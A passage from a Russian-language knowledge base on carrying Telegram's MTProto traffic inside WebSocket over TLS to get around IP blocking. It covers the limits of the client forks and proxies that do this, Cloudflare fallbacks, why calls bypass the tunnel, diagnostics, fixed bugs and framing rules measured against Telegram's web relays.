серверу, что не умеет в CDN-редиректы**, и исходный датацентр отдаёт файл через свой медиа-релей вместо перенаправления. До появления этого флага загрузка файлов при активном WSS ломалась: сервер отправлял клиента на CDN-датацентр, для которого маршрута нет. В Desktop-форке отдельного флага нет — там ограничение получается само собой, потому что маршрут строится только для DC2/DC4. ZapretGUI добавил для этого случая подсказку в интерфейсе: если медиа или CDN-датацентр упали на запасном пути, пользователю предлагают включить внешний SOCKS5 или настроить свой домен либо воркер Cloudflare. Раньше эта же диагностика врала в другую сторону: медийные датацентры с именами вида «DC2 media» не проходили проверку на число и попадали в список «релея нет», хотя реально проксировались через `kws2-1`. --- ## Звонки Голосовые и видеозвонки через WSS не работают ни в одной реализации, и это не недоработка, а свойство схемы. WebSocket работает поверх TCP, а звонки Telegram используют UDP и отдельную инфраструктуру ретрансляторов. Прокси, который переносит MTProto-сессию, звонки просто не видит. То же ограничение действует и для классического MTProxy — оно упомянуто как архитектурное ещё в [[Zapret/mtproto/00-overview|обзоре MTProxy]]. Автор `tg-ws-proxy` формулирует коротко: звонки не поддерживают MTProto. В клиентских форках это доведено до логики интерфейса. В Android-версии включение «прокси для звонков» гасит тумблер WSS, потому что одновременно они существовать не могут. В Desktop-версии проксирование звонков **отключено в коде целиком**: функция, проверяющая поддержку, всегда возвращает «нет», а старая реализация через SOCKS5 закомментирована — то есть трафик звонков всегда идёт напрямую, независимо от настроек. Единственная попытка провести звонки через сам прокси — экспериментальный проброс UDP через внешний SOCKS5 в ZapretGUI, помеченный в интерфейсе как «поможет только если Telegram и выбранный сервер поддерживают UDP через SOCKS5». Ограничений у него два: сервер должен уметь `UDP ASSOCIATE`, а фрагментированные датаграммы реализация отбрасывает явной ошибкой — а именно они характерны для видеозвонков. > [!important] «Не проксируются» не означает «не работают» > Здесь легко сделать неверный вывод. Прокси звонки не переносит — но он их и не ломает: голосовой трафик просто идёт мимо туннеля, напрямую. Заработает он или нет, зависит от того, режет ли провайдер сам этот UDP-поток, а не от настроек WSS. Отсюда и правильный инструмент для звонков — не прокси, а обход на уровне пакетов. [[Zapret2/Zapret2|zapret]] работает через WinDivert и перехватывает в том числе UDP: типовые профили покрывают UDP 443, диапазон 50000–50100 и STUN — то есть ровно тот трафик, из которого состоит звонок. P2P-звонки, где медиапоток идёт напрямую между абонентами, при таком обходе работают, и наличие или отсутствие WSS-прокси на это не влияет никак. Практический вывод: WSS-прокси закрывает переписку и медиа, звонки закрывает пакетный обход (или VPN). Это два разных инструмента для двух разных задач, и включать их имеет смысл вместе, а не вместо друг друга. --- ## Запасные пути через Cloudflare Когда прямой релей недоступен, `tg-ws-proxy` и ZapretGUI умеют пойти в обход через Cloudflare — либо через бесплатный воркер, либо через домен пользователя с A-записями на адреса датацентров. Путь рабочий, но у него свои грабли. **Общие домены перегружены.** Список доменов по умолчанию один на всех пользователей, и при высокой нагрузке Cloudflare начинает отвечать `429`. Совет авторов — разворачивать свой воркер или свой домен. В самой документации проекта прямо сказано, что у Cloudflare есть лимиты на число одновременных WebSocket-подключений и домен по умолчанию может перестать работать в любой момент. **Автоматическое отключение перегруженного воркера не работает.** В коде `tg-ws-proxy` есть функция, которая должна была на сутки выводить воркер из ротации при получении 429, но она обрублена ранним `return` с пометкой «TODO: проверить код статуса после исчерпания дневного лимита». То есть упёршийся в лимит воркер продолжает получать запросы и продолжает отвечать отказом. **Режим TLS должен быть Flexible.** Инструкция требует выставить в настройках Cloudflare режим `Flexible`; при другом режиме соединение отдаёт ошибку `525`. Это первое, что стоит проверить, увидев такой код. **Сам Cloudflare может быть заблокирован.** Документация обоих проектов советует добавить `cloudflare.com`, `cloudflare.dev` и `workers.dev` в списки обхода — то есть запасной путь для Telegram сам нуждается в обходе средствами вроде [[Zapret2/Zapret2|zapret]]. Тот же приём применён к `raw.githubusercontent.com`, за которым закреплён конкретный IP, чтобы обновление списка доменов проходило при испорченном DNS. --- ## Взаимоисключения: WSS против прокси Комбинировать WSS с другими способами обхода можно не всегда, и правила у двух форков разные. | Комбинация | Android (ZaStoGram) | Desktop (ZaStoGram Desktop) | |---|---|---| | WSS + без прокси | да, основной режим | да, режим по умолчанию | | WSS + внешний SOCKS5 | нет, взаимоисключаются | да, разрешено | | WSS + локальный SOCKS5 (`127.0.0.1`, порт `1353`) | нет | нет, запрещено явно | | WSS + MTProxy | нет | нет, транспорт откатывается на TCP | | WSS + прокси для звонков | нет, гасит WSS | звонки не проксируются вообще | Логика запретов везде объяснимая. С MTProxy WSS несовместим потому, что MTProxy сам является транспортом поверх TCP со своим рукопожатием — два транспорта в одном соединении не уживаются. Локальный SOCKS5 на порту `1353` исключён отдельно и намеренно: это порт моста из ZapretGUI, и заворачивать WebSocket в инструмент, который сам строит WebSocket, бессмысленно. Разные умолчания тоже стоит держать в голове: в Desktop-форке WSS включён из коробки (для DC2/DC4), в Android-форке на новой установке тумблер выключен. Человек, поставивший обе сборки, получит разное поведение «по умолчанию» и может решить, что одна из них сломана. --- ## Что ломается именно в клиентских форках У встроенного транспорта нет запасных путей вроде Cloudflare, поэтому его отказы выглядят иначе — и часть из них не имеет автоматического решения. **Клиент не откатывается на обычный TCP сам.** Это главное, что стоит понимать про оба форка. Если релей недоступен, клиент будет повторять попытки, пока пользователь не выключит транспорт вручную: счётчика неудач, после которого WSS отключился бы автоматически, в коде нет ни у Android, ни у прямого WSS в Desktop. Единственный автоматический механизм — чередование зашитого адреса и доменного имени релея с запоминанием удачного варианта на 30 минут. Отдельный случай есть только у Desktop: если WebSocket рвётся при работе поверх SOCKS5-прокси, эта комбинация помечается нерабочей на полчаса, а галочка в настройках гаснет. **Пользователь не видит причину.** В Android при неработающем WSS показывается обычное «Connecting…» — то же самое, что при любых проблемах с сетью; подпись «Telegram WSS transport: Official» в настройках отражает лишь состояние тумблера, а не факт соединения. Все 29 внутренних кодов отказа (`wss_tls_verify_failed`, `wss_accept_mismatch` и прочие) уходят только в отладочный лог. Desktop честнее: в настройках видно реальный транспорт и задержку — `Default (WSS used, ping: 87 ms)`, — а при датацентре вне покрытия появляется подсказка «WSS unavailable for this DC. Add a proxy.» **В Desktop CDN-загрузки уходят мимо туннеля.** Android при включённом WSS явно сообщает серверу, что не умеет в CDN-редиректы, и файл всегда отдаётся с исходного датацентра. Desktop такого флага не ставит: сервер редиректит клиента на CDN, маршрута WSS для этого датацентра нет, и соединение открывается обычным TCP напрямую. Загрузка не ломается по логике клиента — но в сети, где режут прямые адреса Telegram, она просто зависает, хотя переписка при этом работает. **В Desktop нет предохранителя на переполнение очереди отправки.** Android считает два независимых бюджета по 4 МБ и при переполнении обрывает соединение с понятной ошибкой. В Desktop лимиты стоят только на приём, а исходящие данные складываются в буфер Qt без верхней границы — при аплоаде крупного файла в медленную сеть это упирается в память процесса, а не в контролируемый отказ. **Устаревшее предупреждение в настройках Desktop.** Рядом с полями кастомного релея написано «No certificate check is done — use only a relay you trust». Проверку сертификата вернули в код 4 июля 2026, текст поправить забыли. Ошибка в безопасную сторону, но как описание поведения этой строке верить нельзя. **Обновление Android стирает старую конфигурацию WSS.** До переписывания транспорта в форке были свои поля host, port, path и режим для мини-приложений. При обновлении миграция сохраняет только сам факт «WSS был включён», а все кастомные значения удаляет без предупреждения — восстановить их в новой версии нечем, потому что кастомного релея там больше нет. --- ## Мелочи, которые ломают всё **Антивирус удаляет исполняемый файл.** Сборки `tg-ws-proxy` упакованы PyInstaller, и Windows Defender регулярно помечает их сигнатурами вида `Program:Win32/Contebrew.A!ml` или `Trojan:Win32/Wacatac`. README предлагает либо скачать сборку для Windows 7, либо добавить файл в исключения. Разумный критерий из пользовательского FAQ: если файл детектят 20+ антивирусов — стоит насторожиться, если один-три — похоже на ложное срабатывание. Отдельно предупреждают о фейковых форках проекта и готовых сборках из сторонних каналов — тема, знакомая по истории с [[virus/flowseal-fake-youtube-salatstealer-july-2026|поддельными репозиториями zapret]]. **Часы сервера уводят FakeTLS в тишину.** В режиме FakeTLS метка времени зашита в случайное поле рукопожатия, и допуск — ±120 секунд. При большем расхождении проверка не проходит, но соединение не обрывается с ошибкой: трафик прозрачно уходит на настоящий сайт-прикрытие. Внешне это выглядит как «прокси просто не подключается» без единого сообщения — при разъехавшихся часах на VPS ищут проблему где угодно, кроме `ntp`. **Занятый порт.** Локальные мосты падают на попытке занять порт, если его держит другой процесс или запрещает система: на Windows это ошибки `10048` и `10013`. ZapretGUI повторяет попытку с задержкой, потому что после перезапуска предыдущий сокет освобождается не мгновенно; в FAQ `tg-ws-proxy` для `10013` предлагают перезапустить службу `hns` от администратора. **IPv6.** Пользовательский FAQ проекта рекомендует выключать IPv6 в настройках Telegram — иначе клиент может уходить в обход прокси. **Правка `hosts`.** Модуль ZapretGUI прописывает около трёх десятков доменов Telegram в `hosts` Windows и держит их там постоянно, независимо от выбранного профиля DNS. Это потенциальный конфликт с любым другим инструментом, который управляет тем же файлом, и однажды он же сломал их собственную диагностику: проверка «как резолвится домен» на Windows читала `hosts` и всегда видела запись, которую программа сама и создала. --- ## Что показывает диагностика Из четырёх проектов встроенную диагностику довёл до пользователя только ZapretGUI — и её вывод удобно использовать как чек-лист даже при работе с другими инструментами. - [ ] Доступен ли адрес релея `149.154.167.220:443` по TCP и TLS — если таймаут, до веб-подъезда Telegram не дотягивается сама сеть. - [ ] Доступны ли напрямую адреса каждого датацентра — так отделяют «заблокировано всё» от «заблокирована часть». - [ ] Блокировка по имени или по адресу: если чужое имя в TLS до того же адреса проходит, режут по SNI; если не проходит — по IP. - [ ] Отвечают ли релеи `kws1`…`kws5` кодом `101`, редиректом `302` или не отвечают вовсе. - [ ] Открыт ли локальный порт прокси — то есть запущен ли он вообще. - [ ] Доступен ли внешний SOCKS5, если он настроен. - [ ] Запущен ли параллельно движок `winws2` — потому что датацентры без релея прикрывает именно он. Последний пункт — самый недооценённый. Диагностика прямо сообщает: датацентры, у которых нет рабочего релея, WSS-прокси не закрывает, и для них нужен обход DPI на уровне пакетов. Человек, выключивший zapret с мыслью «теперь есть прокси для Telegram», получает ровно ту картину, с которой начинается эта заметка: текст ходит, стикеры нет. --- ## Баги реализаций, о которых полезно знать Транспорт молодой, и часть отказов — это не блокировки, а ошибки в коде, уже исправленные. Знать о них стоит хотя бы потому, что старая сборка их сохраняет. **Границы пакетов.** До исправления в Desktop-форке заголовок, тело и паддинг MTProto-пакета писались в общий поток, и нарезка на WebSocket-сообщения зависела от того, когда сработает системный вызов. Правило «один пакет — одно сообщение» восстановили отдельной очередью исходящих сообщений. **Зависание рукопожатия.** В Android-форке TLS-рукопожатие могло встать намертво: механизм уведомлений о готовности сокета терял событие записи при переключении OpenSSL между ожиданием чтения и ожиданием записи, и клиент висел в «Connecting» до истечения таймаута запроса. **Отправка файлов.** Там же исходящие данные накапливались в один буфер, который дописывался поверх ещё не отправленного хвоста, — это нарушает требование OpenSSL повторять вызов с тем же буфером и той же длиной. При загрузке файлов отправка ломалась; починили переходом на очередь неизменяемых кадров. **Маркер датацентра в WSS-режиме.** В обоих форках в init-пакет какое-то время писался номер датацентра, как для MTProxy-секрета, хотя имя релея уже определяет и датацентр, и класс трафика. Релей отвечал отказом `-444`. **Мёртвый адрес в приоритете.** В Desktop-форке заблокированный основной адрес релея пробовался первым в каждом новом соединении, а сессионный сторож убивал сокет через секунду — раньше, чем срабатывал внутренний откат на доменное имя. Каждое переподключение повторяло один и тот же бесполезный круг; вылечили запоминанием удачного варианта на 30 минут. --- ## 📚 См. также - [[mtproxy/telegram-wss-transport|WSS для Telegram: MTProto внутри WebSocket]] — парная заметка: как устроен транспорт, рукопожатие и четыре реализации - [[Zapret/mtproto/00-overview|MTProto Proxy — полный гайд]] — классический MTProxy: протокол, реализации, ограничения - [[mtproxy/faketls-relay-diagnosis|Релей или клиент: диагностика MTProxy]] — методика «кто виноват», применимая и здесь - [[mtproxy/ja4-sni-client-side|Кто может менять JA4 и SNI]] — про второй класс блокировок, по почерку соединения - [[Zapret2/Zapret2|zapret]] — обход DPI на уровне пакетов, который закрывает датацентры без веб-релея - 🔗 [Пользовательский FAQ проекта tg-ws-proxy](https://github.com/Flowseal/tg-ws-proxy/issues/389) — список известных ограничений, который ведёт сообщество - 🔗 [zastogram/ZaStoGram](https://git.zapret.moe/zastogram/ZaStoGram) — Android-форк с нативным WSS, готовые сборки в [релизах](https://git.zapret.moe/zastogram/ZaStoGram/releases) - 🔗 [zastogram/ZaStoGram_desktop](https://git.zapret.moe/zastogram/ZaStoGram_desktop) — Desktop-форк с нативным WSS и кастомным релеем --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/mtproxy/telegram-wss-limits.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-06 tags: - mtproto - telegram - wss - websocket - обход-блокировок - zapret - tdesktop - android aliases: - WSS прокси для Telegram - Telegram через WebSocket - tg-ws-proxy что это - Как работает WSS в Telegram - kws2.web.telegram.org и apiws - WSS транспорт Zastogram - Что лучше ZaStoGram Android или Desktop - Почему WSS работает только для DC2 и DC4 link: https://github.com/Flowseal/tg-ws-proxy --- # 🕸️ WSS для Telegram: MTProto внутри WebSocket ![[telegram-wss-transport-header.webp]] > [!info] О чём заметка > Разбор транспорта, который в 2026 году появился сразу в нескольких инструментах для Telegram: обычный MTProto-поток кладут внутрь **WebSocket поверх TLS** (WSS) и отправляют на веб-эндпоинты Telegram вида `kws2.web.telegram.org/apiws` — те же, по которым работает браузерный Telegram Web. Здесь — что это такое, как устроено рукопожатие, что именно едет внутри кадров и чем четыре известные реализации отличаются друг от друга. Про то, почему у части пользователей не грузятся стикеры и почему звонки этот транспорт не переносит, — в парной заметке [[mtproxy/telegram-wss-limits|Ограничения WSS: что не работает и почему]]. > [!warning] Откуда взяты данные > Всё ниже — разбор исходного кода четырёх проектов по состоянию на **6 августа 2026** (коммиты указаны в разделе о каждой реализации), а не официальная документация Telegram. Telegram не публиковал спецификацию своих веб-релеев: адреса, путь `/apiws` и правила выбора датацентра восстановлены по коду клиентов и прокси. Любая деталь может измениться на стороне Telegram без предупреждения — сверяйся с актуальным кодом, прежде чем строить на этом что-то серьёзное. > [!note] Обновление 8–9 августа 2026: измерения вместо чтения кода > Разделы [[#Правило первого кадра]], [[#Мифа про «только DC2 и DC4» не существует]] и [[#Рукопожатие: место, где всё ломается тихо]] опираются на живые соединения с релеями, а не на исходники. Итог: > - **длина первого кадра важна**: меньше 64 байт — соединение молча умирает (порог измерен с точностью до байта); > - **склейка пакетов запрещена**: релей разбирает только первый MTProto-пакет кадра, остальные выбрасывает без ошибки. Разрезать один пакет на несколько кадров при этом можно; > - «веб-релеи существуют только для DC2 и DC4» **неверно** — работают все DC1–DC5, а редирект `302` возникает при обращении к чужому ingress-адресу. > > Промежуточный вывод от 8 августа, будто границы пакетов серверу безразличны, был **ошибочным**: он опирался на проверки, где в кадре был ровно один пакет, и потеря второго не проявлялась. Полное рукопожатие 9 августа это опровергло. > > Отдельно добавлен раздел [[#Релей может быть закрыт: главное практическое ограничение]] — о том, что чаще всего мешает не протокол, а недоступность самого релея из конкретной сети, и почему `ping` этого не показывает. --- ## TL;DR 1. **WSS-транспорт для Telegram** — это тот же обфусцированный MTProto, но упакованный в бинарные кадры WebSocket поверх настоящего TLS и отправленный на порт 443 доменов `kwsN.web.telegram.org` (`kwsN-1` — для медиа-трафика). 2. Задача, которую он решает, — **не DPI-фингерпринт, а блокировка по IP**: если провайдер режет диапазоны датацентров Telegram, соединение к веб-релею на 443 внешне неотличимо от «пользователь открыл web.telegram.org в браузере». 3. Внутри ничего не поменялось: остались **64-байтный obfuscated2-init и AES-256-CTR**, те же теги протокола `0xefefefef` / `0xdddddddd` / `0xeeeeeeee` и номер датацентра в байтах 60–61. 4. Требований к нарезке ровно два, и оба нарушаются молча: **первый кадр после апгрейда должен содержать не меньше 64 байт** (весь init), и **в одном кадре не должно быть больше одного MTProto-пакета** — остальные релей выбрасывает. Разрезать пакет на несколько кадров при этом можно свободно. См. [[#Правило первого кадра]]. 5. Реализации делятся на два класса: **мост рядом с клиентом** (`tg-ws-proxy` от Flowseal, модуль `telegram_proxy` в ZapretGUI — оба на Python, слушают локальный порт как SOCKS5/MTProxy) и **нативный транспорт внутри клиента** (форки ZaStoGram для Android и для Desktop, C++ прямо в сетевом слое). 6. **Веб-релеи есть у всех датацентров DC1–DC5, а не только у DC2/DC4** — это проверено живыми соединениями 8 августа 2026. Распространённое «работают только DC2 и DC4» родилось из ошибки метода: у каждого датацентра свой адрес ingress, и если стучаться на адрес DC2 с именем `kws5`, приходит редирект `302` — сервер так и говорит, что вы пришли не туда. Подробно — в [[#Мифа про «только DC2 и DC4» не существует]]. 7. **Чаще всего мешает не протокол, а доступность релея.** В измеренной сети открыт был ровно один ingress из четырёх проверенных путей: релей DC2 работал, релей DC1 не отвечал ни по IPv4, ни по IPv6, и прямые адреса DC1 тоже были закрыты. Пользователь при этом видит «фото грузятся, эмодзи нет». `ping` во всех случаях проходил и ничего не доказывал — см. [[#Релей может быть закрыт: главное практическое ограничение]]. 8. Звонки через WSS не идут ни в одной реализации — WebSocket живёт поверх TCP, а голос и видео у Telegram ходят по UDP; их трафик проходит мимо туннеля напрямую, и закрывается он пакетным обходом, а не прокси. 9. Два клиентских форка **по протоколу больше не расходятся**: оба соблюдают правила фрейминга, покрывают DC1–DC5 и откатываются на прямое соединение при закрытом релее. Различия остались вокруг транспорта: Android строже валидирует кадры и ограничивает очереди, Desktop даёт свой релей и живой индикатор с пингом. --- ## Зачем понадобился ещё один транспорт Обход блокировок Telegram распадается на две разные задачи, и их постоянно путают. Первая — когда провайдер видит **как** выглядит соединение: анализирует TLS-рукопожатие, сравнивает почерк клиента с известными, ловит характерный первый пакет. Против этого работают инструменты вроде [[Zapret2/Zapret2|zapret]], подменяющие поведение пакетов, и клиентские правки TLS-почерка (подробно — в [[mtproxy/ja4-sni-client-side|заметке про JA4 и SNI на стороне клиента]]). Вторая задача — когда провайдеру **всё равно, как выглядит трафик**, потому что он режет сами адреса. Диапазоны датацентров Telegram (`149.154.160.0/20`, `91.105.192.0/23` и соседние) известны и компактны; заблокировать их целиком дешевле, чем разбирать протокол. В таком случае никакая фрагментация пакета не помогает: пакет просто не доезжает. WSS-транспорт бьёт именно во вторую задачу. Идея простая: у Telegram, кроме «обычных» адресов датацентров, есть веб-инфраструктура, обслуживающая браузерную версию мессенджера, — она живёт на 443 порту, за нормальными TLS-сертификатами и доменами `web.telegram.org`. Блокировать её тем же топорным способом дороже: это тот же домен, что и сайт, которым пользуются миллионы людей. Если завернуть MTProto в WebSocket и отправить туда, то на уровне IP и SNI трафик выглядит как визит на сайт Telegram. Проще говоря: не меняем «почерк» соединения, а меняем **адрес, куда стучимся** — на такой, который провайдеру неудобно резать целиком. --- ## Как выглядит соединение: пять слоёв Готовое WSS-подключение — это матрёшка из пяти уровней, и путаница обычно начинается с того, что два из них шифруют одни и те же байты. ``` TCP :443 обычное TCP-соединение к IP релея └─ TLS 1.2+ настоящий TLS, SNI = kws2.web.telegram.org └─ HTTP/1.1 Upgrade GET /apiws → ответ 101 Switching Protocols └─ WebSocket frames бинарные кадры (opcode 0x2), клиент маскирует их └─ MTProto obfuscated2 64-байтный init + AES-256-CTR └─ сам MTProto шифрование клиент↔Telegram на auth_key ``` Внешний слой — TLS — нужен для маскировки: наблюдателю виден HTTPS к домену Telegram и больше ничего. Внутренний слой — obfuscated2 — остался ровно тем же, что и в обычном TCP-подключении Telegram: он превращает MTProto-поток в равномерный шум без заголовков, чтобы DPI не опознал протокол по сигнатуре. То, что шум едет внутри TLS и внутри WebSocket, ему не мешает. Самый нижний слой — собственно MTProto с ключом авторизации — не трогает никто. Это важно для понимания рисков: **мост между клиентом и Telegram видит транспортную обёртку, но не содержимое переписки**; переписка расшифровывается только на устройстве и на серверах Telegram. --- ## Рукопожатие по шагам Все четыре реализации делают одно и то же, различаясь мелочами. Порядок такой. **Шаг 1. TCP к IP релея.** Соединение открывается не по DNS-имени, а по зашитому в код адресу — чаще всего `149.154.167.220` (для DC2/DC4), в Android-форке к нему добавлены `149.154.174.100` (DC1/DC3) и `149.154.170.100` (DC5). Имя `kwsN.web.telegram.org` при этом всё равно передаётся — но только выше, в TLS и HTTP. **Шаг 2. TLS.** SNI и проверка имени сертификата выставляются в доменное имя релея. Здесь реализации расходятся: клиентские форки проверяют цепочку сертификатов по-настоящему (`SSL_VERIFY_PEER` в Android, `QSslSocket::VerifyPeer` в Desktop), а `tg-ws-proxy` проверку отключает намеренно — для него TLS не граница доверия, а обёртка, потому что полезная нагрузка и так зашифрована между клиентом и Telegram. **Шаг 3. HTTP Upgrade.** Отправляется обычный запрос апгрейда до WebSocket: ```http GET /apiws HTTP/1.1 Host: kws2.web.telegram.org Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: <16 случайных байт в base64> Sec-WebSocket-Version: 13 Sec-WebSocket-Protocol: binary Origin: https://web.telegram.org User-Agent: Mozilla/5.0 ... Chrome/131.0.0.0 ... ``` Заголовки `Origin` и браузерный `User-Agent` — часть маскировки: клиентские форки притворяются вкладкой браузера. `tg-ws-proxy` в этом месте скромнее и `Origin` не шлёт вовсе. **Шаг 4. Проверка ответа.** Сервер отвечает `101 Switching Protocols`. Оба клиентских форка честно считают `Sec-WebSocket-Accept` — SHA-1 от отправленного ключа и константы `258EAFA5-E914-47DA-95CA-C5AB0DC85B11` из RFC 6455 — и рвут соединение при несовпадении. `tg-ws-proxy` довольствуется кодом 101. **Шаг 5. Обмен кадрами.** Дальше идут бинарные кадры (opcode `0x2`), исходящие — с обязательной 4-байтной маской, как требует RFC 6455 от клиента. Служебные `ping` получают ответ `pong`, `close` считается обрывом. > [!note] Почему адрес и имя расходятся > Соединение открывается на IP-адрес, а имя `kwsN.web.telegram.org` фигурирует только в SNI и в заголовке `Host`. Это не хитрость ради хитрости: реализации не хотят зависеть от DNS, который может не отвечать или быть подменён. Android-форк дополнительно умеет откатиться на резолв доменного имени, если жёстко зашитый IP не отвечает, и запоминает удачный вариант на 30 минут. Модуль в ZapretGUI идёт дальше и прописывает нужные имена прямо в `hosts` Windows — приём рабочий, но он же однажды сломал их собственную диагностику, которая после этого проверяла не DNS, а собственную запись в `hosts`. --- ## Что едет внутри кадров Внутри WebSocket-кадров лежит обычный обфусцированный MTProto — тот же, что уходил бы в голый TCP. Первым отправляется **64-байтный init-пакет**: 8 байт пропускаются, следующие 48 дают ключ и IV для AES-256-CTR (в обратном порядке — ключ для встречного направления), байты 56–59 содержат тег протокола, байты 60–61 — номер датацентра со знаком, где минус означает медиа-подключение. Затем весь пакет шифруется сам собой, и наружу уходит структура, статистически неотличимая от случайных байт. Теги протокола те же, что в обычном MTProxy: `0xefefefef` — abridged (минимальный заголовок длины), `0xeeeeeeee` — intermediate, `0xdddddddd` — padded intermediate с добавлением случайного мусора к каждому пакету. Подробный разбор режимов — в [[Zapret/mtproto/01-protocol|описании протокола MTProxy]]. При генерации init-пакета отбраковываются «плохие» случайные значения: если первые байты совпадут с сигнатурой TLS-рукопожатия (`0x16030102`), с текстом `GET `, `POST`, `HEAD` или с чужим тегом протокола, пакет генерируется заново. Иначе DPI опознал бы поток по случайному совпадению с известным заголовком. Эта проверка живёт в коде всех реализаций и в WSS-режиме тоже работает. Все четыре проекта отправляют один MTProto-пакет одним WebSocket-сообщением, а 64-байтный init — отдельным сообщением перед ним. Объясняли это обычно похожестью на браузерный Telegram Web, и объяснение было неверным, но само правило — верным: релей действительно разбирает лишь первый пакет кадра. Подробности и цифры — в следующем разделе. --- ## Правило первого кадра > [!tip] Два правила, и оба нарушаются молча > **Первое:** первый бинарный WebSocket-кадр после апгрейда обязан содержать не менее 64 байт — весь obfuscated2-заголовок. > **Второе:** в одном кадре должно ехать **не больше одного MTProto-пакета**. Релей разбирает только первый пакет кадра и выбрасывает всё, что идёт следом, — без ошибки и без закрытия соединения. > > Разрезать пакет на несколько кадров при этом можно как угодно, хоть по байту. Ограничение только на склейку. Порог измерен с точностью до байта на `kws2.web.telegram.org` (три независимых серии, суммарно около 350 попыток, 8 августа 2026; сетевые сбои отделены от протокольного вердикта повторами, иначе результат превращается в шум): | Как нарезан исходящий поток | Доля успеха | |---|---| | `[init 64][пакет]` — «канонический» способ | 100% | | `[init 64 + пакет]` одним кадром | 100% | | `[init 64][полпакета][полпакета]` | 100% | | `[init 64][дальше по 1 байту в кадре]` | 100% | | `[init 65 = 64 + первый байт пакета][остаток]` | 100% | | `[init 63][недостающий байт][пакет]` | **0%** | | `[init 30]…`, `[init 40]…`, весь поток кусками по 7–8 байт | **0%** | Точка перелома — ровно между 63 и 64 байтами: 63 → 0 из 10 успешных, 64 → 8 из 8. Второе правило измерено отдельно, полным рукопожатием (9 августа 2026). Клиент перед вторым шагом отправляет подтверждение предыдущего сообщения, то есть подряд идут два пакета — `msgs_ack` и `req_DH_params`: | Как отправлены два пакета | Ответ сервера | |---|---| | двумя кадрами | `server_DH_params_ok`, 652 байта | | склеены в один кадр | **тишина** | Воспроизведено на `kws2-1` и `kws4-1` одинаково. Первый пакет кадра (`msgs_ack`) сервер принимает, второй просто не существует для него. Три следствия, важных для того, кто пишет свою реализацию: **Правило действует на уровне отдельного кадра, а не сообщения и не TCP-записи.** Отправить все кадры одной записью в сокет не помогает. Настоящая WebSocket-фрагментация (`FIN=0` плюс continuation-кадры, то есть одно логическое сообщение) — тоже не помогает. Релей достаёт init из полезной нагрузки **первого кадра** и больше к этому вопросу не возвращается: досылка недостающего байта следующим кадром соединение не спасает. **Отказ молчаливый — и это худшая часть.** Если первый кадр имеет длину 48–63 байта, сервер не отвечает ничего: соединение просто висит до таймаута. Со стороны клиента это неотличимо от блокировки провайдером или потери пакетов, поэтому баг легко списать на сеть и искать не там. Только при первом кадре в 32 байта и меньше приходит явный `Close` с текстом `404` — релей не смог выбрать датацентр. **Практический вывод: «отдавать поток как получится» не работает.** Кадр — это единица разбора на стороне релея, а не просто способ нарезки. Транспорт волен резать пакет на сколько угодно кадров, но обязан выпускать кадр ровно на границе пакета и никогда не класть в один кадр два пакета. Плюс отдельная гарантия для самой первой записи: не меньше 64 байт. Обе ошибки не диагностируются по поведению сети: соединение живо, TLS в порядке, кадры уходят — просто ответа нет. Ровно поэтому их легко принять за блокировку у провайдера. --- ## Рукопожатие: место, где всё ломается тихо Отдельно стоит разобрать создание ключа авторизации, потому что именно здесь наблюдается отказ, который по логам легко принять за проблему сети. Ключ создаётся обычным MTProto-рукопожатием: клиент шлёт `req_pq_multi` (около 100 байт вместе с init), получает `resPQ`, затем отправляет `req_DH_params` — а это уже около 340 байт, потому что внутри лежит 256-байтовый блок, зашифрованный RSA. Дальше сервер отвечает `server_DH_params_ok`, и стороны договариваются о ключе. **Наблюдение (Android-форк, версия 1.1.15, 9 августа 2026):** для датацентра, ключа к которому у клиента ещё нет, рукопожатие по WSS не проходит дальше первого шага. В сетевом логе это выглядит так: ``` upgrade_ok domain=kws4-1.web.telegram.org frame_queued <- ушёл req_pq read <- пришёл resPQ, 100 байт frame_queued <- ушёл req_DH_params wss_disconnect reason=2 phase=post_handshake_no_appdata ``` Шесть попыток подряд с нарастающей паузой — и ни одного ответа на второй шаг. Ключ не создаётся, а все запросы к этому датацентру остаются в очереди навсегда. Что при этом **проверено и отброшено**: размер второго кадра ни при чём. Независимый клиент, доведённый до второго шага, получил от релея ответ на кадр в 341 байт — и от `kws4-1`, и от `kws2-1`. То есть релей такие кадры передаёт, и сервер на них отвечает. **Причина установлена:** перед вторым шагом клиент отправляет `msgs_ack`, и транспорт, склеивающий очередь в один кадр, отправлял подтверждение и `req_DH_params` вместе. Релей обработал только первое, второе выбросил — отсюда тишина. Достаточно выпускать кадр на границе пакета, и рукопожатие проходит. Медийный релей `kwsN-1` здесь ни при чём: он обслуживает создание ключей наравне с обычным. > [!warning] Как распознать это в логах > Три признака, которые встречаются вместе: > - `wss_disconnect ... phase=post_handshake_no_appdata` — соединение поднялось, апгрейд прошёл, приложение молчит; > - `handshake: begin` для одного и того же датацентра, повторяющийся с нарастающей паузой; > - шквал строк «нет ключа для датацентра» — в разобранном случае 98 926 записей за 61 секунду. > > Последний признак опаснее, чем кажется: такой поток вытесняет из файла всю остальную диагностику, и причину становится физически не по чему искать. Прежде чем разбирать сетевую проблему, стоит убедиться, что лог не забит одной повторяющейся строкой. Практическое следствие, пока дефект не исправлен: WSS работает для датацентров, ключи к которым уже есть, и не поднимает ключ для нового. Аккаунт продолжает работать, переписка идёт, а медиа из «чужих» датацентров не грузится вовсе — при том что скорость и связь выглядят нормальными. Это и есть типичная жалоба «файлы качаются, а чужие картинки нет». --- ## Релей может быть закрыт: главное практическое ограничение Все предыдущие разделы описывают, как транспорт устроен и что требует сервер. Но самое частое препятствие лежит ниже протокола: **релей конкретного датацентра может быть просто недоступен из вашей сети**, и тогда никакие правила фрейминга не помогут. Замеры 9 августа 2026 в одной российской сети (провайдер с DPI), порт 443: | Куда | Что это | ICMP (`ping`) | TCP 443 | |---|---|---|---| | `149.154.167.220` | релей DC2 и DC4 | отвечает | **открыт** | | `149.154.174.100` | релей DC1 и DC3 | отвечает | закрыт | | `2001:b28:f23d:8005:7:0:109:338` | тот же релей по IPv6 | отвечает | закрыт | | `149.154.175.50` | прямой адрес DC1, мимо релея | отвечает (178 мс) | закрыт | Открыт ровно один путь из четырёх. Практический результат для пользователя: **фотографии грузятся, а эмодзи и реакции — нет**, потому что они лежат на другом датацентре. Переписка при этом работает, скорость нормальная, никаких ошибок в интерфейсе. > 